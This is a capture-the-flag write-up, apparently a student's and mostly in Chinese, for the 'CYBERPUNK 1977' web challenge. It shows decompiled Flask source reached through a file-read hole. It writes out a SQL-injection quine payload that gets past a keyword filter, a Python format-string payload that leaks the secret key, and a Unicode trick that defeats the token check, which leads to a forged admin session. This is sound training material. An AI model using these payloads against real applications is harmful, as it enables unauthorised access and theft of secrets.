---
# System prepended metadata

title: CYBERPUNK 1977
tags: [unsolved]

---

# CYBERPUNK 1977
###### tags: `unsolved`

* site : http://eofqual.ais3.org:1977/
* hint
    - I use `tiangolo/uwsgi-nginx-flask` to build this cool stuff. (with default configuration)
    - [VISUAL BASIC 2077](https://drive.google.com/file/d/1AXEcUSwGlBON_1abv919AIw5CSX2I5VU/view)
* 可以發現 hint 這裡有個 LFI 的洞
    * ```http://eofqual.ais3.org:1977/hint?file=uwsgi.ini```
```
[uwsgi]
module = main
callable = app
```
* 拿到 source code ```http://eofqual.ais3.org:1977/hint?file=__pycache__/main.cpython-38.pyc```
```python=
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
# [GCC 9.3.0]
# Embedded file name: ./main.py
# Compiled at: 2021-01-08 03:23:56
# Size of source mod 2**32: 2359 bytes
from os import getenv, urandom
from flask import Flask, g, request, session, send_file, render_template
import sqlite3, re, secrets
app = Flask(__name__)
app.secret_key = urandom(32)

def is_bad(payload):
    """ Weak WAF :)"""
    if re.search('replace|printf|char|[\\x00-\\x20]', payload, re.I | re.A):
        return True
    return False


class Flag:

    def __str__(self):
        if session.get('is_admin', False):
            return getenv('FLAG', 'FLAG{F4K3_FL4G}')
        return "Oops, You're not admin (・へ・)"


def db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect('sqlite.db')
        db.row_factory = sqlite3.Row
    return db


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


@app.route('/')
def index():
    session['is_admin'] = False
    return render_template('index.html', token=f"GUEST-{secrets.token_hex(16).upper()}")


@app.route('/hint')
def hint():
    filename = request.args.get('file')
    if filename.endswith('.py'):
        return 'Denied: *.py'
    return send_file(filename)


@app.route('/login', methods=['POST'])
def login():
    flag = Flag()
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    token = request.form.get('token', '')
    if is_bad(username) or is_bad(password):
        return 'BAD!'
    if username != 'admin':
        if re.search('ADMIN', token, re.I | re.A):
            return "Hey {username}, admin's token is not for you (・へ・)".format(username=username)

    cursor = db().cursor()
    query = f"SELECT username, password FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)
    res = cursor.fetchone()
    if res != None and res['username'] == username and res['password'] == password:
        if token.upper() == 'ADMIN-E864E8E8F230374AA7B3B0CE441E209A':
            return ('Hello, ' + username + ' ｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡  Here is your flag: {flag}').format(flag=flag)
        return 'Hello, ' + username + ' ｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡  No flag for you (´;ω;`)'
    else:
        return 'No (´;ω;`)'


if __name__ == '__main__':
    app.run(port=5000, debug=True)
# okay decompiling main.cpython-38.pyc
```

* 從 source code 裡面看有幾個點
    * username 和 admin query 完會做檢查
    * token 會檢查
    * session 會檢查 is_admin
* 首先會想到用 quine 的方法來解，但這裡有個 WAF 擋了一些詞，所以不能用 REPLACE、CHAR 的那個方法，只好另外造一個，[參考](http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410) 了這裡用 concate 的方法
```username=admin&token=ADMIN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'admin'admin,''''a,','b,'a'aa,'b'bb,'union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--```
* 但是能成功登入，還是會被 session 擋住，得到 Oops, You’re not admin (・へ・) 這個東西，所以這時會想到作業用的 format string 的方法和自簽 session 的方法，但這裡的寫法其實和作業不同，不是寫在裡面的，無法直接靠 format string 拿到 flag 的內容，只能走自簽 session 的路
:::success
比賽的時候我們就卡在這地方，我們打算直接利用         ```{flag.__class__.__base__.__subclasses__()[132].__init__.__globals__['getenv']('FLAG','NO')}``` 來拿 flag，但其實 format string 不能 call function
:::
* 想要簽 session 就得先拿到 secret_key，還是得利用 format string 的方法加上 python sandbox escape 的方法去拿，賽後跟助教問了提示
```{flag.__class__.__str__.__globals__[app].secret_key}```
* 需要去改到 username 的話又會被 token 擋住 (username 不是 admin)，但可以看到 token 在最後比較的地方會做個 .upper()，我們發現有些特殊字在 upper 以後會變 ASCII，所以我們找了這個字串來繞過第一個檢查又能通過第二個檢查 
```ADMıN-E864E8E8F230374AA7B3B0CE441E209A```
* 於是拿到 session
payload : ```username={flag.__class__.__str__.__globals__[app].secret_key}&token=ADMıN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'flag'flag,'{flag.__class__.__str__.__globals__[app].secret_key}'flagflag,''''a,','b,'a'aa,'b'bb,'union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--```
secret_key : ```b'h\x16\xa5\xca\x88\xd9\x8e\x10i\x12\xde\x82ie\xcarL\x9f\r\xe8\xdf\xf5\x84\xb6\x03a3\xb4\xa8K\x94>'```
* 最後用這個 session 簽了個 is_admin 的 session 塞 cookie，然後成功又用 admin 的那副 payload 拿到 flag 了
![](https://i.imgur.com/FDlBCAR.png)
* FLAG{ＲE𝖠𝗟_FⅬ𝗔Ｇ}


## Quine 邏輯小教學

```sql
SELECT
ab||a||a||a||a||aa||b||a||b||a||bb||b||
a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT
ab||a||a||a||a||aa||b||a||b||a||bb||b||
a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
FROM(SELECT'ab,');'ba);
```
ref: http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410

1. 在`FROM`那個括弧裡面`SELECT'string'name` 好像就是把`string`這個字串取名成`name`。從這段可以看出來他的命名對應關係：
    | name   | a   | b   | aa  | bb  | ab                     | ba  |
    | ------ | --- | --- | --- | --- | ---------------------- | --- |
    | string | '   | ,   | a   | b   | SELECT ... FROM(SELECT | );  |
    
2. 接下來回頭看第一個`SELECT`會得到用`||`把變數concat起來的產物。
    ```
    ab||a||a||a||a||aa||b||a||b||a||bb||b||
    a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
    a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
    ```
    每一個變數用剛剛的表格代換，就會發現他就是輸入的sql！！！